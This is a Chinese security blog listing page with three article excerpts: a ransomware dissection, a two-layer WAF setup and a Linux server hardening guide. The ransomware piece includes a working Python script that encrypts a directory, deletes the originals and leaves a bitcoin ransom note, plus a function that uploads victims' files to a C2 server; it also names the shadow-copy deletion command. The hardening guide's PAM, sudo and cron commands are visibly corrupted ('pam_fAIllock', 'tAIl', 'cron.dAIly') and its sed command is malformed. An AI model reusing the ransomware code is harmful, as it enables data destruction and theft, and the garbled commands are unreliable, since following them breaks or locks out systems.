首页
工具导航
留言面板
友情链接
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
9,883 阅读
2
2025最新渗透测试靶场推荐,新手必练的靶场推荐
5,561 阅读
3
src平台推荐,挖SRC必须知道的25个漏洞提交平台
4,755 阅读
4
几个常见的密码字典推荐
3,968 阅读
5
全网首发!HMV全套windows机器提权,域渗透教程,2w字超详细
3,433 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
服务器
登录
Search
标签搜索
渗透测试
内网渗透
Linux
网络协议
vulnhub
SQL注入
靶场实战
提权
代理隧道
域渗透
信息收集
权限提升
WAF绕过
hackmyvm
AI安全
云安全
权限维持
红队攻击
蓝队防御
云服务
白小羽
累计撰写
188
篇文章
累计收到
0
条评论
首页
导航
工具导航
留言面板
友情链接
搜索到
3
篇与
的结果
2026-07-15
勒索病毒技术拆解与预防,更好的保护你的数据
前一阵子帮朋友处理一台被勒索病毒加密了的服务器,数据库全都被锁住,桌面上有勒索信,要求是0.3个比特币。处理完之后觉得得把这事儿完完整整地从开头到结尾拆解开来解说清楚。只有弄清楚了攻击的原理,才能够知道防护的重点到底是什么。声明:本文所有代码仅用于安全研究和教学目的,编写、传播恶意软件属于违法行为。一、勒索病毒的核心原理勒索病毒的本质其实非常简单,核心流程只有三步:入侵:通过各种途径进入目标系统加密:使用加密算法锁定用户文件勒索:留下勒索信息,要求支付赎金换取解密密钥加密所采用的是标准的AES以及RSA算法,这些算法它自身是属于合法的,银行还有HTTPS都在运用着它们。可问题就在于,密钥就只是在攻击者的手里边,受害者是没有那个解密的能力的。实际上真正导致大规模破坏的乃是其传播的机制。早期的勒索病毒主要是借助钓鱼邮件的附件来进行传播。而现如今更多的则是直接去扫描公网的IP,运用未打上补丁的漏洞以及弱口令这类的方式来实施入侵。在入侵之后通常并不会立刻就发作,而是先在局域网之内进行横向的移动,尽可能地去感染更多的机器,等到合适的时机,比如说周末没人值守的时候,再统一地去执行加密操作。我遇到了一个典型的情况。病毒是在周五晚上的时候侵入进来的,它潜伏隐藏了有两天,直到周一早上全公司开启计算机的时候才触发了加密操作。就连备份服务器都被加密,这是因为备份硬盘一直是挂接在服务器上面的,结果被病毒一块儿给搞了。二、常见勒索病毒类型分析1. 经典加密型(Crypto Ransomware)这乃是极为基础且颇为常见之类型。存在比如WannaCry、Locky、CryptoLocker这类代表家族。其特点可是十分简单直接:入侵之后便会去遍历磁盘,对文档、图片、数据库、压缩包等用户文件实施AES加密,还会去修改文件后缀名,然后就在每个目录里面放置勒索信。这类病毒其技术层面的门槛是比较低的。但是它的破坏能力却是十分强大的。这是因为它所采用的加密运用的是已经成熟了的标准算法。要是密钥处理得不错的话,在不存在私钥的时候,从理论上来说是没有办法去进行解密的。2. 双重勒索型(Double Extortion)近些年来很流行这样的一种模式。有像Conti、REvil、DarkSide等这样的家族来代表着它。它比那单纯的加密可要厉害得多。在对文件进行加密之前,先把比如商业机密、客户信息、财务数据等这类敏感的数据神不知鬼不觉地就上传到攻击者的服务器,然后再去执行本地的加密操作。这也就意味着,就算你拥有完整的备份从而能够恢复数据,但是攻击者依旧还是有可能会对泄露你的数据进行威胁,并且拿这个事情来进行施压让你支付赎金。有不少企业因为害怕数据泄露会影响到商誉或者遭遇到合规方面的处罚,只能够依从(攻击者的要求)。而后甚至发展成为三重勒索的情况,既对泄露数据进行威胁,又会发动DDoS攻击,还会去通知客户或者监管机构。3. 蠕虫传播型(Worm-style)代表的是WannaCry以及NotPetya这类病毒。这类病毒存在着一个最大的特点,那就是能够自己进行复制并且还能够主动地进行传播,不需要用户去点击什么东西。WannaCry所利用的是NSA所泄露出来的EternalBlue(永恒之蓝)漏洞,它针对Windows SMB协议的445端口来发起攻击,能够在局域网里面自动地进行扫描、自动地进行入侵、自动地进行传播,没过几个小时就能够把一个机构的所有机器都给感染了 。这类病毒发作起来的速度是极其迅速的。要是你察觉到有机器遭受到了感染,到那个时候常常整个内部网络已经大面积地被感染了。4. 勒索即服务(RaaS, Ransomware as a Service)当下黑产的主流运营模式便是这般,LockBit、BlackCat/ALPHV、Play等便是其代表。技术团队开发好了勒索病毒的整套工具,这里边包含生成器、C2面板、解密工具、数据泄露网站。之后招募加盟攻击者也就是affiliates。加盟攻击者不需要懂得技术,只要能够获取到目标网络的权限,就可以拿现成的病毒去进行攻击,赎金按照比例来进行分成。RaaS模式使得勒索攻击的门槛变得极其之低,这便是近些年来勒索事件呈现出爆发式增长的关键缘故所在。5. 定向攻击型(Big Game Hunting)这类针对大型企业、医院、政府机关、关键基础设置等具有高价值的目标所实施的攻击行为,并非是进行广泛范围的扫描,而是有着明确的目标指向。会花费数周乃至数月的时间去进行侦察活动,对目标网络的拓扑结构、域环境状况以及备份策略等进行研究,甚至会首先对备份系统进行破坏,在确认一切准备就绪之后才发起攻击行动,像Colonial Pipeline输油管道被攻击就是一个典型的示例。三、技术实现拆解(教育目的)想要去理解防护方面的逻辑,那我们就来瞧一瞧一个最为简单的概念演示情况。这是一个仅仅是为了理解原理的玩具性质的版本,只是对特定目录进行加密处理,不进行传播行为、不连接网络、不执行删除备份的操作,在运行之后密钥就直接被打印出来。基础加密型演示我们用Python的cryptography库来演示,Fernet是一个封装好的对称加密库,使用AES-CBC模式:import os from cryptography.fernet import Fernet def generate_key(): """生成加密密钥""" return Fernet.generate_key() def encrypt_file(file_path, key): """加密单个文件""" f = Fernet(key) with open(file_path, 'rb') as file: original_data = file.read() encrypted_data = f.encrypt(original_data) # 写入加密后的文件 with open(file_path + '.locked', 'wb') as encrypted_file: encrypted_file.write(encrypted_data) # 删除原文件 os.remove(file_path) def decrypt_file(file_path, key): """解密单个文件""" f = Fernet(key) with open(file_path, 'rb') as file: encrypted_data = file.read() decrypted_data = f.decrypt(encrypted_data) original_path = file_path.replace('.locked', '') with open(original_path, 'wb') as decrypted_file: decrypted_file.write(decrypted_data) os.remove(file_path) if __name__ == '__main__': key = generate_key() target_dir = './test_files' print(f"密钥(丢失则无法恢复): {key.decode()}") # 递归遍历所有子目录 for root, dirs, files in os.walk(target_dir): for filename in files: if filename.endswith('.locked'): continue file_path = os.path.join(root, filename) encrypt_file(file_path, key) print(f"已加密: {file_path}") with open(os.path.join(target_dir, 'README_RESTORE.txt'), 'w') as note: note.write("你的文件已被加密。\n") note.write("支付xxx比特币到钱包地址xxx以获取解密工具。\n")测试看看加密当前目录下的test_files他的文件后缀全部变成了 locked,如果没有密匙文件,是无法解密的随后留下一个文本,让你支付比特币这个版本不到50行代码,但你可以看出它和真正勒索病毒的差距:密钥管理这一块,玩具版是在本地生成密钥,在运行的时候就直接给打印出来。而真实的勒索病毒,是把RSA公钥硬编码在病毒里头,在本地随机生成AES密钥去加密文件,接着用RSA公钥把AES密钥加密之后发送到C2服务器。私钥就只在攻击者的服务器那边,逆向病毒也是没办法拿到的。玩具版的遍历范围乃是仅仅对指定的test_files目录进行加密。而真实的病毒会去遍历所有的盘符,比如本地磁盘、网络共享盘、U盘,甚至于云盘同步目录都会进行遍历。并且真实的病毒会有选择性地去加密用户的文件,像是文档、数据库、图片这类,它不会去触碰系统文件,因为要是系统文件被加密从而导致系统无法启动了,那就没有人会支付赎金了。反恢复之手段:真实的病毒会做出如下这些行径,运用vssadmin delete shadows /all /quiet来删除卷影副本,禁用系统之还原功能,停止备份服务,并且还会将Windows备份目录予以删除 。对抗分析这一块,存在有加壳这样的操作,还有反调试的手段,反沙箱的措施,检测虚拟机环境的状况,以及延迟执行的状况,比如说等待好几个小时才开始加密,通过这样的方式来绕过沙箱的动态分析时间窗口。双重勒索的额外步骤双重勒索只是在加密之前增加一个数据外传的环节:import requests def exfiltrate_file(file_path, c2_url): """外传文件到C2服务器""" # 只外传小于某个阈值的重要文件,避免大文件传输太慢被发现 if os.path.getsize(file_path) < 10 * 1024 * 1024: # 小于10MB with open(file_path, 'rb') as f: files = {'file': (os.path.basename(file_path), f)} try: requests.post(c2_url, files=files, timeout=10) except: pass # 外传失败不影响加密流程在那真实的环境状况之中,最先将会去开展压缩的操作,随后会去开展分块传输的相关动作,并且还会借助加密代理又或者是Tor网络来把C2地址给隐藏起来 。蠕虫传播的核心逻辑在蠕虫传播的相关情况里,存在着一部分技术含量比较高的内容。其核心之处在于漏洞的利用。就以永恒之蓝这个例子来讲,需要去构造特殊的SMB请求包,然后将这个构造好的SMB请求包发送到目标的445端口。当触发了漏洞之后就会执行shellcode,随后就去下载病毒的本体来进行执行。而这一部分并没有稳定且通用的代码可以用来进行演示,这是因为漏洞的利用和系统的版本、补丁的状态是紧密相关联的。这便是RaaS模式可以获取利益的缘由所在。去编写一个稳定的漏洞利用exp是需要具备极为强大的技术能力的。一般的攻击者是没办法弄出这类exp的。那么他们就只能够去购买相关的服务。真实病毒还会做的事停止数据库服务(SQL Server、MySQL、Oracle等),因为数据库文件运行时被占用,加密不了删除Windows事件日志,清除入侵痕迹修改注册表实现开机自启关闭或杀掉杀毒软件进程清除系统还原点和备份枚举局域网共享和域内机器,进行横向移动遍历RDP连接记录和保存的凭据,扩大感染范围四、企业防护方案我从事安全工作已经有了一些时日。我察觉到这么一个状况,众多企业出现问题,并非是由于某些高深的零日漏洞相关的原因,而是跌倒在了极为基础的问题之上。举例而言没有打上补丁、存在弱口令、备份盘始终处于连接状态、端口通通暴露在公共网络之上。防护,简单来说就是那么一些个事情,但是真正能够把这些个事情切实做到位的企业那可真是没多少。1. 备份是最后一道防线这是唯一能让你在被加密后不需要付赎金的方案。但备份有几个关键原则:3 - 2 - 1备份准则所指的是,需要起码有3份数据的副本。这些副本得存储在2种不同的介质之上。并且其中要有1份要处于离线状态或者存放在异地。离线的意思就是在物理层面上相互隔离,并非是那种处于公司内网里的另一台服务器,借助内网横向移动就可以把它一同进行加密的这种情形。备份的磁盘不可以一直处于挂载的状态。有很多人将移动硬盘插到服务器上面来进行备份操作,结果在病毒进行加密的时候连备份的磁盘一块儿给加密了。正确的做法是在备份完成之后把连接断开,要不然就使用备份软件的一次性挂载的功能。定期去进行恢复方面的演练是十分重要的。存在着许多这样的事例,有备份的情况,但是当真正到了需要进行恢复的时候,却发现备份已经损坏了、版本也不对头,而且备份软件还没有人会使用。所以仅仅做完备份是远远不够的,还得定期去测试是否能够顺利恢复才行。云服务器需要开启快照功能。云快照是存储在云厂商所提供的对象存储之中的,它和你的实例是相互分离的状态,病毒是没有办法接触到它的。你可以去设置自动快照的策略,每天开展快照操作,保留的时间为7到30天。倘若出现问题了,一键进行回滚操作,要比重装恢复快上很多。2. 堵住入侵入口大多数攻击就从这几个地方进来:关于RDP/SSH出现暴力破解这种情况的话:不要采用密码来进行登录,而是应该运用密钥。不要直接把3389、22端口暴露在公共的网络上面,要么对默认的端口进行更改,要么设置IP白名单只准许公司的IP来进行访问,最为好的方式是通过VPN或者跳板机去进行访问。钓鱼邮件这种情况,人是比较容易出现问题的所在。是得去开展安全培训,不过仅仅依靠培训可还是不够的。在技术方面是要用上邮件网关,来过滤可执行附件、恶意链接以及宏文档。Office的宏默认是处于关闭的状态,可别随随便便就去启用它。漏洞补丁相关状况:在WannaCry爆发的时候,补丁已经发布两个月了。必须去构建补丁管理方面的流程,关键的安全补丁得及时地进行打上,可千万不能拖拖拉拉的。特别是针对面向公网的系统而言,漏洞公开之后,在24小时之内就很有可能会被大规模地进行扫描利用。当扫描器进行扫描的时候,能够发现比如Redis没有密码、数据库存在弱口令、后台有admin/admin这样的情形、还有SMB匿名访问等方面的问题。必须要定期开展内部的弱口令扫描工作。所有的服务都得设置成强密码,并且还要关闭掉不必要的默认账号。3. 最小权限和网络隔离在日常进行运维操作的时候,不要去使用root或者管理员这类的账号。业务程序得用普通用户的权限来进行运行。要把Web目录的权限给设置妥当,不要给予很多没有必要的写权限。有很多的webshell能够获取到权限,就是因为Web目录的权限太大了,直接就可以去修改文件、添加计划任务。服务器仅仅只是用于运行网站而已,那么445 SMB端口没有必要处于开启的状态,135 RPC端口也没有必要处于开启的状态,3389端口同样也没有必要处于开启的状态。得采用最小化安装的这种方式,仅仅开启很多需要用到的端口以及服务。办公网络、业务服务器区域、数据库区域、管理区域之间需要进行ACL访问控制操作。不可以让整个内网全部都能够互相通信,如果一台办公计算机感染了病毒,那么就有可能直接去访问数据库服务器。服务器彼此之间也不要全部都能够互相通信,Web服务器只可以访问它所需要的数据库端口,其余的都得予以拒绝。服务器以及办公电脑都必须去安装EDR或者是杀毒软件,可不要不安装软件就直接去使用。当下的EDR能够检测到勒索行为,要是发现有进程在进行批量加密文件的操作,它便能够直接进行阻止。4. 云服务器特别注意接触过很多中小团队用云服务器,几个坑反复踩:在安全组配置这一块的情况来讲,有相当多的人在购买了服务器之后,安全组默认是处于完全开放的状态就不再去进行理会了。实际上安全组只应当开放必要的端口,像是80和443端口开着就可以。而对于数据库端口,比如说3306、6379、5432这类的,绝对不可以对公网进行开放,只能够允许内网来进行访问。云控制台必须要确保安全。服务器的密码应当足够强,而云控制台的密码则需要更为强大才行。并且还要开启MFA双因素认证。假如控制台被登录了,那么对方不需要去破解你的服务器,直接就在控制台能够卸载你的云盘,之后把它挂载到他自己的机器上读取数据。必须得开启自动快照这个功能。云厂商所赠送的这个自动快照如同后悔药一般。自动快照的成本是相当低的。快照的费用可比赎金便宜好多。得去设置自动快照的策略,可别等到想起来了再手动去进行拍摄。选云服务器的时候,可不要仅仅把目光聚焦在CPU和内存的价格上面。得去查看一下快照是如何进行收费的,安全组到底好不好用,有没有基础的DDoS防护,售后能不能够联系得到人。这些平常看起来好像没什么用处的东西,可是真的出现问题的时候,那可就是能够起到救命作用的东西。现在
2026年07月15日
223 阅读
0 评论
0 点赞
2026-07-15
纵深防御,雷池 + ModSecurity企业级双重 WAF 环境搭建
对于雷池的文章我还有这几篇,包括常见的https配置、雷池+frp反代,以及其他的试用方法都有https://mp.weixin.qq.com/s/3JLrkymD7d46IaWbQup4wQhttps://mp.weixin.qq.com/s/Nvkx7Qdacmm9wx6OpJbejAhttps://mp.weixin.qq.com/s/VBD12Ttwh8JS1oQLC_4gWAhttps://mp.weixin.qq.com/s/z0NU3V4RASBFoE_cG0js7A本篇文章主要讲解halo和雷池的搭建过程,以及防护流量走向,架构设计等等算上自己上班时间,这篇文章总耗时7天+,自认为是一篇非常不错的文章,建议收藏转发,共5k+字,防止后面找不到了在写这篇文章期间遇到过很多部署问题,不过已经被我小羽全部解决了通过本篇文章可以避免很多问题,帮助您搭建属于自己的防护环境,即使您没有任何WAF搭建的经历,也可以通过本篇文章来学习企业级WAF环境搭建的完整流程完整总体网络拓扑架构互联网流量 │ ▼ ┌─────────────┐ │ WAF-A │ 第一层(外层) │ (如雷池) │ └──────┬──────┘ │ 反代 ▼ ┌─────────────┐ │ WAF-B │ 第二层(内层) │ (如ModSec) │ └──────┬──────┘ │ 反代 ▼ ┌─────────────┐ │ halo │ 真实后端 └─────────────┘若读过我这篇文章的师傅们,2025最新教程,使用雷池搭建内网靶场,进行简单的WAF绕过搭配上本篇文章的教学,完全能搭建出如下架构的企业级防护环境,再牛逼点,自己再配个系统加固的防护应用为什么要采用这样的架构?不同的WAF产品拦截规则、检测的算法一般都是不同的,如果攻击者绕过了第一层WAF,那么第二层就不一定能绕过了,这才是核心价值,非常恶心的是,现实环境中还真有人这么干,层层防护,做系统加固一般这样的架构第一层WAF,用来拦截常见的攻击手法比如漏扫 / CC,第二层针对真实的业务进行定制拦截,两层分贝专注不同的威胁,如果不嫌流量太多,那你可以全开,这样做的好处就是减少日志分析的压力服务器选购
2026年07月15日
189 阅读
0 评论
0 点赞
2026-04-10
Linux 服务器如何进行安全加固?
前言Linux 服务器是企业业务的核心载体,从 Web 服务、数据库、中间件到容器集群,绝大多数生产业务都运行在 Linux 系统之上。而互联网暴露面扩大、供应链漏洞频发、定向攻击常态化,让 Linux 服务器成为黑客入侵的首要目标。安全加固的核心目标,是通过最小权限原则、纵深防御体系、持续审计机制,缩小服务器攻击面,阻断攻击路径,提升抗入侵能力 —— 即使边界防护被突破,也能最大程度保护核心数据与业务安全。本文覆盖从账号认证、服务最小化、权限管控到网络防护、日志审计、入侵检测的全维度落地方案,适配 CentOS 7/8/9、RHEL 7/8/9、Ubuntu 20.04/22.04/24.04 等主流企业级发行版,所有操作均配套明确的配置命令、验证方法与回滚方案,可直接落地到生产环境。一、前置核心加固原则所有加固操作需严格遵循以下原则,避免业务中断或防护失效:1、 最小权限原则:仅给用户、服务、进程分配完成任务所需的最小权限,杜绝过度授权2、 最小暴露原则:关闭所有非必要的端口、服务、组件,从根源缩小攻击面3、 纵深防御原则:构建账号、网络、文件、应用多层防护体系,避免单点防护失效4、 可回滚原则:修改配置前必须备份原文件,所有操作均配套回滚方法,避免生产故障5、 持续审计原则:加固不是一次性操作,需定期开展基线检查、漏洞扫描与日志审计,持续优化防护策略【生产环境避坑提示】所有涉及系统核心配置、SSH 服务、防火墙的修改,需先在测试环境验证,再逐步落地生产;修改 SSH 配置后,需先保留当前会话,用新会话测试登录正常后,再关闭原会话,避免服务器失联。二、账号与身份认证安全加固账号与认证是服务器安全的第一道防线,超过 70% 的 Linux 入侵事件,都源于弱口令、账号过度授权、SSH 配置缺陷导致的边界突破。2.1 清理无用账号,消除风险账户系统安装、业务迭代过程中会产生大量无用账号,包括默认创建的程序账号、废弃的运维账号,这些账号往往成为黑客入侵的突破口。# 1、备份原账号配置文件,方便回滚 cp /etc/passwd /etc/passwd.bak.$(date +%Y%m%d) cp /etc/shadow /etc/shadow.bak.$(date +%Y%m%d) # 2、查看系统中所有可登录的账号,排查废弃账号 cat /etc/passwd | grep -E "/bin/bash|/bin/sh|/bin/zsh" # 3、锁定无用账号(推荐,可恢复,比直接删除更安全) usermod -L 废弃用户名 # 解锁账号回滚命令:usermod -U 废弃用户名 # 4、禁用程序账号的登录权限,杜绝账号被滥用 usermod -s /sbin/nologin 程序用户名 # 示例:usermod -s /sbin/nologin apache 2.2 强制配置强密码策略弱口令是黑客暴力破解的首要目标,需通过 PAM 模块强制系统所有用户使用复杂度达标的密码,同时限制密码有效期与重试次数。适配 CentOS/RHEL 系列# 1、安装密码质量检测模块 yum install -y libpwquality # 2、修改密码策略配置文件,强制密码复杂度 vi /etc/security/pwquality.conf # 新增/修改以下配置: minlen = 12 # 密码最小长度12位 minclass = 3 # 必须包含大小写字母、数字、特殊符号中的3种 maxrepeat = 3 # 禁止连续3个相同字符 difok = 5 # 新密码与旧密码至少5个字符不同 enforce_for_root = 1 # 强制root用户也遵循该策略 # 3、配置密码登录失败锁定策略,防止暴力破解 vi /etc/pam.d/system-auth vi /etc/pam.d/password-auth # 在auth字段新增配置,连续5次失败锁定10分钟: auth required pam_fAIllock.so preauth audit silent deny=5 unlock_time=600 auth [default=die] pam_fAIllock.so authfAIl audit deny=5 unlock_time=600 auth sufficient pam_fAIllock.so authsucc audit 适配 Ubuntu/Debian 系列# 1、安装密码质量检测模块 apt install -y libpam-pwquality # 2、修改密码策略配置 vi /etc/pam.d/common-password # 修改pam_pwquality.so行,添加强制规则: password requisite pam_pwquality.so retry=3 minlen=12 minclass=3 maxrepeat=3 enforce_for_root # 3、配置登录失败锁定策略 vi /etc/pam.d/common-auth # 新增配置,连续5次失败锁定10分钟: auth required pam_fAIllock.so preauth audit silent deny=5 unlock_time=600 auth [default=die] pam_fAIllock.so authfAIl audit deny=5 unlock_time=600 auth sufficient pam_fAIllock.so authsucc audit 2.3 SSH 服务全维度安全加固SSH 是 Linux 远程管理的核心协议,也是黑客攻击的头号目标,需从认证方式、访问控制、端口配置等维度完成全量加固。# 1、备份SSH配置文件,方便回滚 cp /etc/ssh/sshd_config /etc/ssh/sshd_config.bak.$(date +%Y%m%d) # 2、修改SSH核心配置 vi /etc/ssh/sshd_config # 核心加固项如下: Port 22345 # 修改默认22端口,减少全网扫描攻击 PermitRootLogin no # 禁止root用户直接登录 PubkeyAuthentication yes # 开启公钥认证,优先使用密钥登录 PasswordAuthentication no # 关闭密码认证,彻底杜绝暴力破解 PermitEmptyPasswords no # 禁止空密码登录 MaxAuthTries 3 # 最大认证尝试次数3次 ClientAliveInterval 300 # 5分钟无操作自动断开连接 ClientAliveCountMax 2 # 无响应最大次数2次 AllowUsers 运维用户名@192.168.1.0/24 # 配置IP白名单,仅允许指定网段的指定用户登录 # 禁止使用不安全的加密算法与协议 KexAlgorithms curve25519-sha256@libssh.org,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256 Ciphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com,umac-128-etm@openssh.com # 3、验证SSH配置语法是否正确,避免配置错误导致服务崩溃 sshd -t # 配置无报错后,重启SSH服务生效 # CentOS/RHEL:systemctl restart sshd # Ubuntu/Debian:systemctl restart ssh # 4、验证加固效果,用新会话测试登录,确认白名单、密钥认证正常生效 2.4 Sudo 提权权限精细化管控绝大多数提权攻击都利用了 sudo 的过度授权,需严格限制普通用户的 sudo 权限,杜绝直接给用户分配 ALL 权限。# 1、备份sudo配置文件 cp /etc/sudoers /etc/sudoers.bak.$(date +%Y%m%d) # 2、使用visudo命令编辑sudo配置(自带语法检查,避免配置错误) visudo # 错误配置(禁止使用):运维用户名 ALL=(ALL) ALL # 正确配置:仅给用户分配完成工作所需的最小命令权限,示例: 运维用户名 ALL=(ALL) /usr/bin/systemctl restart nginx, /usr/bin/tAIl -f /var/log/nginx/access.log # 禁止用户通过sudo修改sudo配置、切换root、执行高危命令 Defaults !visiblepw Defaults always_set_home Defaults secure_path = /sbin:/bin:/usr/sbin:/usr/bin Defaults env_reset # 禁止sudo执行su、vim、bash等可直接提权的命令 运维用户名 ALL=(ALL) !/usr/bin/su, !/usr/bin/bash, !/usr/bin/vim /etc/sudoers, !/usr/bin/visudo 三、系统服务与组件最小化加固系统运行的服务越多,开放的端口与攻击面就越大,黑客可利用的漏洞点就越多。最小化加固的核心,是只保留业务必需的服务与组件,关闭所有非必要内容。3.1 关闭非必要服务,缩小攻击面# 1、查看系统当前运行的所有服务 systemctl list-units --type=service --state=running # 2、停止并禁用非必要服务,示例如下(根据业务实际情况调整) # 禁用打印服务 systemctl stop cups systemctl disable cups # 禁用蓝牙服务 systemctl stop bluetooth systemctl disable bluetooth # 禁用IPv6相关服务(业务不使用IPv6时) systemctl stop ip6tables systemctl disable ip6tables # 禁用rpcbind服务(不使用NFS共享时) systemctl stop rpcbind systemctl disable rpcbind # 3、验证服务状态,确认已停止并禁用 systemctl status cups 3.2 定时任务安全管控定时任务是黑客权限维持的常用载体,需严格管控定时任务的创建权限,定期排查异常任务。# 1、限制允许使用crontab的用户,仅白名单用户可创建定时任务 echo "root" > /etc/cron.allow echo "运维用户名" >> /etc/cron.allow # 不在cron.allow中的用户,一律禁止使用crontab # 2、定期排查所有定时任务,发现异常立即处置 # 查看系统级定时任务 ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.dAIly/ /etc/cron.weekly/ /etc/cron.monthly/ # 查看所有用户的定时任务 cat /etc/passwd | cut -f1 -d: | xargs -I {} crontab -l -u {} 2>/dev/null # 3、给定时任务配置文件添加不可变属性,防止黑客篡改 chattr +i /etc/crontab chattr +i /etc/cron.allow 3.3 软件包与仓库安全加固# 1、删除非官方、不可信的软件源,仅保留官方仓库 # CentOS/RHEL:查看仓库配置 ls /etc/yum.repos.d/ # Ubuntu/Debian:查看仓库配置 ls /etc/apt/sources.list.d/ # 2、配置官方源的HTTPS协议,防止源劫持 # Ubuntu/Debian示例: sed -i 's/http://https://g' /etc/apt/sources.list # 3、禁止内核版本自动更新,避免生产业务兼容性故障 # CentOS/RHEL:yum install -y yum-plugin-versionlock && yum versionlock kernel* # Ubuntu/Debian:apt-mark hold Linux-image-generic Linux-headers-generic # 4、定期清理无用的软件包与依赖,减少攻击面 # CentOS/RHEL:yum autoremove -y # Ubuntu/Debian:apt autoremove -y 四、文件系统与权限安全加固Linux 的一切皆文件,文件权限管控是系统安全的核心,黑客入侵后往往通过文件权限漏洞实现提权、持久化、数据窃取。4.1 关键系统文件权限严格管控# 1、核心账号配置文件权限加固 chmod 644 /etc/passwd chmod 600 /etc/shadow chmod 644 /etc/group chmod 600 /etc/gshadow chown root:root /etc/passwd /etc/shadow /etc/group /etc/gshadow # 2、SSH配置文件权限加固 chmod 700 /root/.ssh chmod 600 /root/.ssh/authorized_keys chown root:root /root/.ssh /root/.ssh/authorized_keys chmod 600 /etc/ssh/sshd_config chown root:root /etc/ssh/sshd_config # 3、sudo配置文件权限加固 chmod 440 /etc/sudoers chown root:root /etc/sudoers # 4、全局查找全局可写的危险文件,排查权限漏洞 find / -type f -perm -0002 ! -type l -ls 2>/dev/null # 全局查找SUID权限的可执行文件,排查提权风险点 find / -perm -4000 -type f -ls 2>/dev/null 4.2 敏感文件不可变属性锁定通过 chattr 命令给核心配置文件添加不可变属性,即使是 root 用户,也无法修改、删除文件,防止黑客篡改系统配置、植入后门。# 1、锁定核心账号配置文件,禁止账号新增、修改 chattr +i /etc/passwd /etc/shadow /etc/group /etc/gshadow # 2、锁定SSH与sudo配置文件,防止黑客修改认证规则 chattr +i /etc/ssh/sshd_config /etc/sudoers # 3、锁定定时任务配置,防止黑客植入持久化后门 chattr +i /etc/crontab # 4、查看文件的扩展属性,确认锁定生效 lsattr /etc/passwd # 回滚方法:如需修改文件,先解除锁定 chattr -i 文件名 4.3 分区挂载安全加固通过分区挂载参数,限制高危操作,防止缓冲区溢出、提权攻击,生产环境建议单独给 /boot、/home、/tmp、/var 分区,避免根目录占满导致业务故障,同时配置安全挂载参数。# 1、修改/etc/fstab文件,配置分区安全挂载参数 vi /etc/fstab # 核心加固参数示例: # /tmp分区:禁止SUID、禁止设备文件、禁止可执行程序、禁止强制访问控制 /dev/sdb1 /tmp ext4 defaults,noexec,nosuid,nodev 0 0 # /var分区:禁止SUID、禁止设备文件 /dev/sdb2 /var ext4 defaults,nosuid,nodev 0 0 # /home分区:禁止SUID、禁止设备文件 /dev/sdb3 /home ext4 defaults,nosuid,nodev 0 0 # 2、重新挂载分区,使配置生效 mount -o remount /tmp mount -o remount /var mount -o remount /home # 3、验证挂载参数是否生效 mount | grep /tmp 4.4 核心文件完整性监控部署文件完整性监控工具,实时检测核心文件的修改行为,一旦出现非计划内的变更,立即触发告警,第一时间发现黑客的篡改行为。# 1、安装AIDE文件完整性监控工具 # CentOS/RHEL:yum install -y aide # Ubuntu/Debian:apt install -y aide # 2、初始化AIDE数据库,生成系统文件基线 aide --init mv /var/lib/aide/aide.db.new.gz /var/lib/aide/aide.db.gz # 3、执行完整性检查,对比基线发现文件变更 aide --check # 4、配置定时任务,每天凌晨自动执行检查,发送告警邮件 echo '0 0 * * * root /usr/sbin/aide --check | mail -s "服务器文件完整性告警" 运维邮箱地址' > /etc/cron.d/aide_check 五、网络与防火墙安全加固网络层是阻断外部攻击的关键屏障,通过防火墙、内核参数加固,过滤恶意流量,防止端口扫描、DDoS 攻击、内网横向渗透。5.1 防火墙规则精细化配置根据业务实际需求,配置白名单规则,仅开放业务必需的端口,默认拒绝所有其他访问,这是网络防护的核心原则。适配 CentOS/RHEL 系列(firewalld)# 1、启动firewalld服务并设置开机自启 systemctl start firewalld systemctl enable firewalld # 2、配置默认规则:默认拒绝所有入站流量,允许所有出站流量 firewall-cmd --set-default-zone=drop firewall-cmd --permanent --zone=drop --set-target=DROP # 3、仅开放业务必需的端口,示例: # 开放自定义SSH端口22345,仅允许内网网段访问 firewall-cmd --permanent --zone=drop --add-rich-rule='rule family="ipv4" source address="192.168.1.0/24" port protocol="tcp" port="22345" accept' # 开放Web服务80、443端口,允许全网访问 firewall-cmd --permanent --zone=drop --add-port=80/tcp firewall-cmd --permanent --zone=drop --add-port=443/tcp # 开放数据库3306端口,仅允许业务服务器IP访问 firewall-cmd --permanent --zone=drop --add-rich-rule='rule family="ipv4" source address="172.16.1.10/32" port protocol="tcp" port="3306" accept' # 4、重载防火墙规则,使配置生效 firewall-cmd --reload # 5、验证防火墙规则是否生效 firewall-cmd --list-all 适配 Ubuntu/Debian 系列(ufw)# 1、安装并启动ufw防火墙 apt install -y ufw systemctl start ufw systemctl enable ufw # 2、配置默认规则 ufw default deny incoming ufw default allow outgoing # 3、开放业务必需的端口,示例: # 自定义SSH端口22345,仅允许内网网段访问 ufw allow from 192.168.1.0/24 to any port 22345 proto tcp # 开放Web服务80、443端口 ufw allow 80/tcp ufw allow 443/tcp # 开放数据库3306端口,仅允许业务服务器访问 ufw allow from 172.16.1.10/32 to any port 3306 proto tcp # 4、启用防火墙并验证规则 ufw enable ufw status verbose 5.2 内核网络参数安全加固通过修改 /etc/sysctl.conf 内核参数,开启系统自带的网络防护能力,抵御 SYN 洪水、IP 欺骗、ICMP 攻击等常见网络攻击。# 1、备份sysctl配置文件 cp /etc/sysctl.conf /etc/sysctl.conf.bak.$(date +%Y%m%d) # 2、修改内核参数配置 vi /etc/sysctl.conf # 新增/修改以下核心加固配置: # 开启SYN Cookies,抵御SYN洪水攻击 net.ipv4.tcp_syncookies = 1 # 禁用IP源路由,防止IP欺骗 net.ipv4.conf.all.accept_source_route = 0 net.ipv4.conf.default.accept_source_route = 0 # 禁用ICMP重定向,防止路由劫持 net.ipv4.conf.all.accept_redirects = 0 net.ipv4.conf.default.accept_redirects = 0 net.ipv4.conf.all.secure_redirects = 0 net.ipv4.conf.default.secure_redirects = 0 # 开启反向路径过滤,防止IP地址欺骗 net.ipv4.conf.all.rp_filter = 1 net.ipv4.conf.default.rp_filter = 1 # 禁用IP转发,非网关服务器必须关闭 net.ipv4.ip_forward = 0 net.ipv6.conf.all.forwarding = 0 # 